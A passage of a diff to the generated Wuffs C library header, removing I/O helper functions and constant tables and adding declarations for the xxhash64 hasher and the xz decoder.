NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-// -------- ++wuffs_xxhash64__hasher* ++wuffs_xxhash64__hasher__alloc(void); + +-static inline void // +-wuffs_base__io_reader__limit(const uint8_t** ptr_io2_r, +- const uint8_t* iop_r, +- uint64_t limit) { +- if (((uint64_t)(*ptr_io2_r - iop_r)) > limit) { +- *ptr_io2_r = iop_r + limit; +- } ++static inline wuffs_base__hasher_u64* ++wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64(void) { ++ return (wuffs_base__hasher_u64*)(wuffs_xxhash64__hasher__alloc()); + } + +-static inline uint32_t // +-wuffs_base__io_reader__limited_copy_u32_to_slice(const uint8_t** ptr_iop_r, +- const uint8_t* io2_r, +- uint32_t length, +- wuffs_base__slice_u8 dst) { +- const uint8_t* iop_r = *ptr_iop_r; +- size_t n = dst.len; +- if (n > length) { +- n = length; +- } +- if (n > ((size_t)(io2_r - iop_r))) { +- n = (size_t)(io2_r - iop_r); +- } +- if (n > 0) { +- memmove(dst.ptr, iop_r, n); +- *ptr_iop_r += n; +- } +- return (uint32_t)(n); ++// ---------------- Upcasts ++ ++static inline wuffs_base__hasher_u64* ++wuffs_xxhash64__hasher__upcast_as__wuffs_base__hasher_u64( ++ wuffs_xxhash64__hasher* p) { ++ return (wuffs_base__hasher_u64*)p; + } + +-// wuffs_base__io_reader__match7 returns whether the io_reader's upcoming bytes +-// start with the given prefix (up to 7 bytes long). It is peek-like, not +-// read-like, in that there are no side-effects. +-// +-// The low 3 bits of a hold the prefix length, n. +-// +-// The high 56 bits of a hold the prefix itself, in little-endian order. The +-// first prefix byte is in bits 8..=15, the second prefix byte is in bits +-// 16..=23, etc. The high (8 * (7 - n)) bits are ignored. +-// +-// There are three possible return values: +-// - 0 means success. +-// - 1 means inconclusive, equivalent to "$short read". +-// - 2 means failure. +-static inline uint32_t // +-wuffs_base__io_reader__match7(const uint8_t* iop_r, +- const uint8_t* io2_r, +- wuffs_base__io_buffer* r, +- uint64_t a) { +- uint32_t n = a & 7; +- a >>= 8; +- if ((io2_r - iop_r) >= 8) { +- uint64_t x = wuffs_base__peek_u64le__no_bounds_check(iop_r); +- uint32_t shift = 8 * (8 - n); +- return ((a << shift) == (x << shift)) ? 0 : 2; +- } +- for (; n > 0; n--) { +- if (iop_r >= io2_r) { +- return (r && r->meta.closed) ? 2 : 1; +- } else if (*iop_r != ((uint8_t)(a))) { +- return 2; +- } +- iop_r++; +- a >>= 8; +- } +- return 0; +-} ++// ---------------- Public Function Prototypes + +-static inline wuffs_base__io_buffer* // +-wuffs_base__io_reader__set(wuffs_base__io_buffer* b, +- const uint8_t** ptr_iop_r, +- const uint8_t** ptr_io0_r, +- const uint8_t** ptr_io1_r, +- const uint8_t** ptr_io2_r, +- wuffs_base__slice_u8 data, +- uint64_t history_position) { +- b->data = data; +- b->meta.wi = data.len; +- b->meta.ri = 0; +- b->meta.pos = history_position; +- b->meta.closed = false; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__get_quirk( ++ const wuffs_xxhash64__hasher* self, ++ uint32_t a_key); + +- *ptr_iop_r = data.ptr; +- *ptr_io0_r = data.ptr; +- *ptr_io1_r = data.ptr; +- *ptr_io2_r = data.ptr + data.len; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xxhash64__hasher__set_quirk( ++ wuffs_xxhash64__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value); + +- return b; +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_xxhash64__hasher__update( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-// -------- ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__update_u64( ++ wuffs_xxhash64__hasher* self, ++ wuffs_base__slice_u8 a_x); + +-static inline uint64_t // +-wuffs_base__io_writer__copy_from_slice(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- wuffs_base__slice_u8 src) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = src.len; +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); +- } +- if (n > 0) { +- memmove(iop_w, src.ptr, n); +- *ptr_iop_w += n; +- } +- return (uint64_t)(n); +-} ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xxhash64__hasher__checksum_u64( ++ const wuffs_xxhash64__hasher* self); + +-static inline void // +-wuffs_base__io_writer__limit(uint8_t** ptr_io2_w, +- uint8_t* iop_w, +- uint64_t limit) { +- if (((uint64_t)(*ptr_io2_w - iop_w)) > limit) { +- *ptr_io2_w = iop_w + limit; +- } +-} ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history(uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- if (!distance) { +- return 0; +- } +- uint8_t* p = *ptr_iop_w; +- if ((size_t)(p - io0_w) < (size_t)(distance)) { +- return 0; +- } +- uint8_t* q = p - distance; +- size_t n = (size_t)(io2_w - p); +- if ((size_t)(length) > n) { +- length = (uint32_t)(n); +- } else { +- n = (size_t)(length); +- } +- // TODO: unrolling by 3 seems best for the std/deflate benchmarks, but that +- // is mostly because 3 is the minimum length for the deflate format. This +- // function implementation shouldn't overfit to that one format. Perhaps the +- // limited_copy_u32_from_history Wuffs method should also take an unroll hint +- // argument, and the cgen can look if that argument is the constant +- // expression '3'. +- // +- // See also wuffs_base__io_writer__limited_copy_u32_from_history_fast below. +- for (; n >= 3; n -= 3) { +- *p++ = *q++; +- *p++ = *q++; +- *p++ = *q++; +- } +- for (; n; n--) { +- *p++ = *q++; +- } +- *ptr_iop_w = p; +- return length; +-} ++// ---------------- Struct Definitions + +-// wuffs_base__io_writer__limited_copy_u32_from_history_fast is like the +-// wuffs_base__io_writer__limited_copy_u32_from_history function above, but has +-// stronger pre-conditions. ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. + // +-// The caller needs to prove that: +-// - length <= (io2_w - *ptr_iop_w) +-// - distance >= 1 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_fast(uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint8_t* q = p - distance; +- uint32_t n = length; +- for (; n >= 3; n -= 3) { +- *p++ = *q++; +- *p++ = *q++; +- *p++ = *q++; +- } +- for (; n; n--) { +- *p++ = *q++; ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_xxhash64__hasher__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. ++ // ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. ++ ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__hasher_u64; ++ wuffs_base__vtable null_vtable; ++ ++ uint64_t f_length_modulo_u64; ++ bool f_length_overflows_u64; ++ uint8_t f_padding0; ++ uint8_t f_padding1; ++ uint8_t f_padding2; ++ uint32_t f_buf_len; ++ uint8_t f_buf_data[32]; ++ uint64_t f_v0; ++ uint64_t f_v1; ++ uint64_t f_v2; ++ uint64_t f_v3; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++ ++ // On failure, the alloc_etc functions return nullptr. They don't throw. ++ ++ static inline unique_ptr ++ alloc() { ++ return unique_ptr(wuffs_xxhash64__hasher__alloc()); + } +- *ptr_iop_w = p; +- return length; +-} + +-// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast +-// copies the previous byte (the one immediately before *ptr_iop_w), copying 8 +-// byte chunks at a time. Each chunk contains 8 repetitions of the same byte. +-// +-// In terms of number of bytes copied, length is rounded up to a multiple of 8. +-// As a special case, a zero length rounds up to 8 (even though 0 is already a +-// multiple of 8), since there is always at least one 8 byte chunk copied. +-// +-// In terms of advancing *ptr_iop_w, length is not rounded up. +-// +-// The caller needs to prove that: +-// - (length + 8) <= (io2_w - *ptr_iop_w) +-// - distance == 1 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( +- uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint64_t x = p[-1]; +- x |= x << 8; +- x |= x << 16; +- x |= x << 32; +- uint32_t n = length; +- while (1) { +- wuffs_base__poke_u64le__no_bounds_check(p, x); +- if (n <= 8) { +- p += n; +- break; +- } +- p += 8; +- n -= 8; ++ static inline wuffs_base__hasher_u64::unique_ptr ++ alloc_as__wuffs_base__hasher_u64() { ++ return wuffs_base__hasher_u64::unique_ptr( ++ wuffs_xxhash64__hasher__alloc_as__wuffs_base__hasher_u64()); + } +- *ptr_iop_w = p; +- return length; +-} ++#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) + +-// wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast is +-// like the wuffs_base__io_writer__limited_copy_u32_from_history_fast function +-// above, but copies 8 byte chunks at a time. +-// +-// In terms of number of bytes copied, length is rounded up to a multiple of 8. +-// As a special case, a zero length rounds up to 8 (even though 0 is already a +-// multiple of 8), since there is always at least one 8 byte chunk copied. +-// +-// In terms of advancing *ptr_iop_w, length is not rounded up. +-// +-// The caller needs to prove that: +-// - (length + 8) <= (io2_w - *ptr_iop_w) +-// - distance >= 8 +-// - distance <= (*ptr_iop_w - io0_w) +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( +- uint8_t** ptr_iop_w, +- uint8_t* io0_w, +- uint8_t* io2_w, +- uint32_t length, +- uint32_t distance) { +- uint8_t* p = *ptr_iop_w; +- uint8_t* q = p - distance; +- uint32_t n = length; +- while (1) { +- memcpy(p, q, 8); +- if (n <= 8) { +- p += n; +- break; +- } +- p += 8; +- q += 8; +- n -= 8; ++#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ // Disallow constructing or copying an object via standard C++ mechanisms, ++ // e.g. the "new" operator, as this struct is intentionally opaque. Its total ++ // size and field layout is not part of the public, stable, memory-safe API. ++ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and ++ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as ++ // their first argument) rather than tweaking bar.private_impl.qux fields. ++ // ++ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless ++ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in ++ // order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_xxhash64__hasher__struct() = delete; ++ wuffs_xxhash64__hasher__struct(const wuffs_xxhash64__hasher__struct&) = delete; ++ wuffs_xxhash64__hasher__struct& operator=( ++ const wuffs_xxhash64__hasher__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) ++ ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) ++ ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_xxhash64__hasher__initialize( ++ this, sizeof_star_self, wuffs_version, options); + } +- *ptr_iop_w = p; +- return length; +-} + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_reader(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- uint32_t length, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = length; +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); ++ inline wuffs_base__hasher_u64* ++ upcast_as__wuffs_base__hasher_u64() { ++ return (wuffs_base__hasher_u64*)this; + } +- const uint8_t* iop_r = *ptr_iop_r; +- if (n > ((size_t)(io2_r - iop_r))) { +- n = (size_t)(io2_r - iop_r); ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_xxhash64__hasher__get_quirk(this, a_key); + } +- if (n > 0) { +- memmove(iop_w, iop_r, n); +- *ptr_iop_w += n; +- *ptr_iop_r += n; ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_xxhash64__hasher__set_quirk(this, a_key, a_value); + } +- return (uint32_t)(n); +-} + +-static inline uint32_t // +-wuffs_base__io_writer__limited_copy_u32_from_slice(uint8_t** ptr_iop_w, +- uint8_t* io2_w, +- uint32_t length, +- wuffs_base__slice_u8 src) { +- uint8_t* iop_w = *ptr_iop_w; +- size_t n = src.len; +- if (n > length) { +- n = length; ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash64__hasher__update(this, a_x); + } +- if (n > ((size_t)(io2_w - iop_w))) { +- n = (size_t)(io2_w - iop_w); ++ ++ inline uint64_t ++ update_u64( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_xxhash64__hasher__update_u64(this, a_x); + } +- if (n > 0) { +- memmove(iop_w, src.ptr, n); +- *ptr_iop_w += n; ++ ++ inline uint64_t ++ checksum_u64() const { ++ return wuffs_xxhash64__hasher__checksum_u64(this); + } +- return (uint32_t)(n); +-} + +-static inline wuffs_base__io_buffer* // +-wuffs_base__io_writer__set(wuffs_base__io_buffer* b, +- uint8_t** ptr_iop_w, +- uint8_t** ptr_io0_w, +- uint8_t** ptr_io1_w, +- uint8_t** ptr_io2_w, +- wuffs_base__slice_u8 data, +- uint64_t history_position) { +- b->data = data; +- b->meta.wi = 0; +- b->meta.ri = 0; +- b->meta.pos = history_position; +- b->meta.closed = false; ++#endif // __cplusplus ++}; // struct wuffs_xxhash64__hasher__struct + +- *ptr_iop_w = data.ptr; +- *ptr_io0_w = data.ptr; +- *ptr_io1_w = data.ptr; +- *ptr_io2_w = data.ptr + data.len; ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- return b; +-} ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH64) || defined(WUFFS_NONMONOLITHIC) + +-// ---------------- I/O (Utility) ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XZ) || defined(WUFFS_NONMONOLITHIC) + +-#define wuffs_base__utility__empty_io_reader wuffs_base__empty_io_reader +-#define wuffs_base__utility__empty_io_writer wuffs_base__empty_io_writer ++// ---------------- Status Codes + +-// ---------------- Tokens ++extern const char wuffs_xz__error__bad_bcj_offset[]; ++extern const char wuffs_xz__error__bad_block_header[]; ++extern const char wuffs_xz__error__bad_checksum[]; ++extern const char wuffs_xz__error__bad_filter[]; ++extern const char wuffs_xz__error__bad_footer[]; ++extern const char wuffs_xz__error__bad_header[]; ++extern const char wuffs_xz__error__bad_header_concatenated_stream[]; ++extern const char wuffs_xz__error__bad_index[]; ++extern const char wuffs_xz__error__bad_padding[]; ++extern const char wuffs_xz__error__truncated_input[]; ++extern const char wuffs_xz__error__unsupported_checksum_algorithm[]; ++extern const char wuffs_xz__error__unsupported_filter[]; ++extern const char wuffs_xz__error__unsupported_filter_combination[]; + +-// ---------------- Tokens (Utility) ++// ---------------- Public Consts + +-// ---------------- Memory Allocation ++#define WUFFS_XZ__QUIRK_DECODE_STANDALONE_CONCATENATED_STREAMS 2021322752u + +-// ---------------- Images ++#define WUFFS_XZ__DECODER_DST_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0u + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- uint32_t up_to_num_pixels, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r); ++#define WUFFS_XZ__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 4294967568u + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_from_reader( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- const uint8_t** ptr_iop_r, +- const uint8_t* io2_r); ++// ---------------- Struct Declarations + +-WUFFS_BASE__MAYBE_STATIC uint64_t // +-wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 dst_palette, +- uint64_t num_pixels); ++typedef struct wuffs_xz__decoder__struct wuffs_xz__decoder; + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status // +-wuffs_base__pixel_swizzler__swizzle_ycck( +- const wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_buffer* dst, +- wuffs_base__slice_u8 dst_palette, +- uint32_t width, +- uint32_t height, +- wuffs_base__slice_u8 src0, +- wuffs_base__slice_u8 src1, +- wuffs_base__slice_u8 src2, +- wuffs_base__slice_u8 src3, +- uint32_t width0, +- uint32_t width1, +- uint32_t width2, +- uint32_t width3, +- uint32_t height0, +- uint32_t height1, +- uint32_t height2, +- uint32_t height3, +- uint32_t stride0, +- uint32_t stride1, +- uint32_t stride2, +- uint32_t stride3, +- uint8_t h0, +- uint8_t h1, +- uint8_t h2, +- uint8_t h3, +- uint8_t v0, +- uint8_t v1, +- uint8_t v2, +- uint8_t v3, +- bool is_rgb_or_cmyk, +- bool triangle_filter_for_2to1, +- wuffs_base__slice_u8 scratch_buffer_2k); ++#ifdef __cplusplus ++extern "C" { ++#endif + +-// ---------------- Images (Utility) ++// ---------------- Public Initializer Prototypes + +-#define wuffs_base__utility__make_pixel_format wuffs_base__make_pixel_format ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// ---------------- String Conversions ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_xz__decoder__initialize( ++ wuffs_xz__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +-// ---------------- Unicode and UTF-8 ++size_t ++sizeof__wuffs_xz__decoder(void); + +-// ---------------- ++// ---------------- Allocs + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__CORE) ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +-const uint8_t wuffs_base__low_bits_mask__u8[8] = { +- 0x00, 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3F, 0x7F, +-}; ++wuffs_xz__decoder* ++wuffs_xz__decoder__alloc(void); + +-const uint16_t wuffs_base__low_bits_mask__u16[16] = { +- 0x0000, 0x0001, 0x0003, 0x0007, 0x000F, 0x001F, 0x003F, 0x007F, +- 0x00FF, 0x01FF, 0x03FF, 0x07FF, 0x0FFF, 0x1FFF, 0x3FFF, 0x7FFF, +-}; ++static inline wuffs_base__io_transformer* ++wuffs_xz__decoder__alloc_as__wuffs_base__io_transformer(void) { ++ return (wuffs_base__io_transformer*)(wuffs_xz__decoder__alloc()); ++} + +-const uint32_t wuffs_base__low_bits_mask__u32[32] = { +- 0x00000000, 0x00000001, 0x00000003, 0x00000007, 0x0000000F, 0x0000001F, +- 0x0000003F, 0x0000007F, 0x000000FF, 0x000001FF, 0x000003FF, 0x000007FF, +- 0x00000FFF, 0x00001FFF, 0x00003FFF, 0x00007FFF, 0x0000FFFF, 0x0001FFFF, +- 0x0003FFFF, 0x0007FFFF, 0x000FFFFF, 0x001FFFFF, 0x003FFFFF, 0x007FFFFF, +- 0x00FFFFFF, 0x01FFFFFF, 0x03FFFFFF, 0x07FFFFFF, 0x0FFFFFFF, 0x1FFFFFFF, +- 0x3FFFFFFF, 0x7FFFFFFF, +-}; ++// ---------------- Upcasts + +-const uint64_t wuffs_base__low_bits_mask__u64[64] = { +- 0x0000000000000000, 0x0000000000000001, 0x0000000000000003, +- 0x0000000000000007, 0x000000000000000F, 0x000000000000001F, +- 0x000000000000003F, 0x000000000000007F, 0x00000000000000FF, +- 0x00000000000001FF, 0x00000000000003FF, 0x00000000000007FF, +- 0x0000000000000FFF, 0x0000000000001FFF, 0x0000000000003FFF, +- 0x0000000000007FFF, 0x000000000000FFFF, 0x000000000001FFFF, +- 0x000000000003FFFF, 0x000000000007FFFF, 0x00000000000FFFFF, +- 0x00000000001FFFFF, 0x00000000003FFFFF, 0x00000000007FFFFF, +- 0x0000000000FFFFFF, 0x0000000001FFFFFF, 0x0000000003FFFFFF, +- 0x0000000007FFFFFF, 0x000000000FFFFFFF, 0x000000001FFFFFFF, +- 0x000000003FFFFFFF, 0x000000007FFFFFFF, 0x00000000FFFFFFFF, +- 0x00000001FFFFFFFF, 0x00000003FFFFFFFF, 0x00000007FFFFFFFF, +- 0x0000000FFFFFFFFF, 0x0000001FFFFFFFFF, 0x0000003FFFFFFFFF, +- 0x0000007FFFFFFFFF, 0x000000FFFFFFFFFF, 0x000001FFFFFFFFFF, +- 0x000003FFFFFFFFFF, 0x000007FFFFFFFFFF, 0x00000FFFFFFFFFFF, +- 0x00001FFFFFFFFFFF, 0x00003FFFFFFFFFFF, 0x00007FFFFFFFFFFF, +- 0x0000FFFFFFFFFFFF, 0x0001FFFFFFFFFFFF, 0x0003FFFFFFFFFFFF, +- 0x0007FFFFFFFFFFFF, 0x000FFFFFFFFFFFFF, 0x001FFFFFFFFFFFFF, +- 0x003FFFFFFFFFFFFF, 0x007FFFFFFFFFFFFF, 0x00FFFFFFFFFFFFFF, +- 0x01FFFFFFFFFFFFFF, 0x03FFFFFFFFFFFFFF, 0x07FFFFFFFFFFFFFF, +- 0x0FFFFFFFFFFFFFFF, 0x1FFFFFFFFFFFFFFF, 0x3FFFFFFFFFFFFFFF, +- 0x7FFFFFFFFFFFFFFF, +-}; ++static inline wuffs_base__io_transformer* ++wuffs_xz__decoder__upcast_as__wuffs_base__io_transformer( ++ wuffs_xz__decoder* p) { ++ return (wuffs_base__io_transformer*)p; ++} + +-const uint32_t wuffs_base__pixel_format__bits_per_channel[16] = { +- 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, +- 0x08, 0x0A, 0x0C, 0x10, 0x18, 0x20, 0x30, 0x40, +-}; ++// ---------------- Public Function Prototypes + +-const char wuffs_base__note__i_o_redirect[] = "@base: I/O redirect"; +-const char wuffs_base__note__end_of_data[] = "@base: end of data"; +-const char wuffs_base__note__metadata_reported[] = "@base: metadata reported"; +-const char wuffs_base__suspension__even_more_information[] = "$base: even more information"; +-const char wuffs_base__suspension__mispositioned_read[] = "$base: mispositioned read"; +-const char wuffs_base__suspension__mispositioned_write[] = "$base: mispositioned write"; +-const char wuffs_base__suspension__short_read[] = "$base: short read"; +-const char wuffs_base__suspension__short_write[] = "$base: short write"; +-const char wuffs_base__error__bad_i_o_position[] = "#base: bad I/O position"; +-const char wuffs_base__error__bad_argument_length_too_short[] = "#base: bad argument (length too short)"; +-const char wuffs_base__error__bad_argument[] = "#base: bad argument"; +-const char wuffs_base__error__bad_call_sequence[] = "#base: bad call sequence"; +-const char wuffs_base__error__bad_data[] = "#base: bad data"; +-const char wuffs_base__error__bad_receiver[] = "#base: bad receiver"; +-const char wuffs_base__error__bad_restart[] = "#base: bad restart"; +-const char wuffs_base__error__bad_sizeof_receiver[] = "#base: bad sizeof receiver"; +-const char wuffs_base__error__bad_vtable[] = "#base: bad vtable"; +-const char wuffs_base__error__bad_workbuf_length[] = "#base: bad workbuf length"; +-const char wuffs_base__error__bad_wuffs_version[] = "#base: bad wuffs version"; +-const char wuffs_base__error__cannot_return_a_suspension[] = "#base: cannot return a suspension"; +-const char wuffs_base__error__disabled_by_previous_error[] = "#base: disabled by previous error"; +-const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[] = "#base: initialize falsely claimed already zeroed"; +-const char wuffs_base__error__initialize_not_called[] = "#base: initialize not called"; +-const char wuffs_base__error__interleaved_coroutine_calls[] = "#base: interleaved coroutine calls"; +-const char wuffs_base__error__no_more_information[] = "#base: no more information"; +-const char wuffs_base__error__not_enough_data[] = "#base: not enough data"; +-const char wuffs_base__error__out_of_bounds[] = "#base: out of bounds"; +-const char wuffs_base__error__unsupported_image_dimension[] = "#base: unsupported image dimension"; +-const char wuffs_base__error__unsupported_method[] = "#base: unsupported method"; +-const char wuffs_base__error__unsupported_option[] = "#base: unsupported option"; +-const char wuffs_base__error__unsupported_pixel_swizzler_option[] = "#base: unsupported pixel swizzler option"; +-const char wuffs_base__error__too_much_data[] = "#base: too much data"; +- +-const char wuffs_base__hasher_u32__vtable_name[] = "{vtable}wuffs_base__hasher_u32"; +-const char wuffs_base__hasher_u64__vtable_name[] = "{vtable}wuffs_base__hasher_u64"; +-const char wuffs_base__image_decoder__vtable_name[] = "{vtable}wuffs_base__image_decoder"; +-const char wuffs_base__io_transformer__vtable_name[] = "{vtable}wuffs_base__io_transformer"; +-const char wuffs_base__token_decoder__vtable_name[] = "{vtable}wuffs_base__token_decoder"; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_xz__decoder__get_quirk( ++ const wuffs_xz__decoder* self, ++ uint32_t a_key); + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__CORE) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__set_quirk( ++ wuffs_xz__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_xz__decoder__dst_history_retain_length( ++ const wuffs_xz__decoder* self); + +-// ---------------- Interface Definitions. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_xz__decoder__workbuf_len( ++ const wuffs_xz__decoder* self); + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_base__hasher_u32__checksum_u32( +- const wuffs_base__hasher_u32* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_xz__decoder__transform_io( ++ wuffs_xz__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__hasher_u32__vtable_name) { +- const wuffs_base__hasher_u32__func_ptrs* func_ptrs = +- (const wuffs_base__hasher_u32__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->checksum_u32)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++#ifdef __cplusplus ++} // extern "C" ++#endif + +- return 0; +-} ++// ---------------- Struct Definitions + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__hasher_u32__get_quirk( +- const wuffs_base__hasher_u32* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != 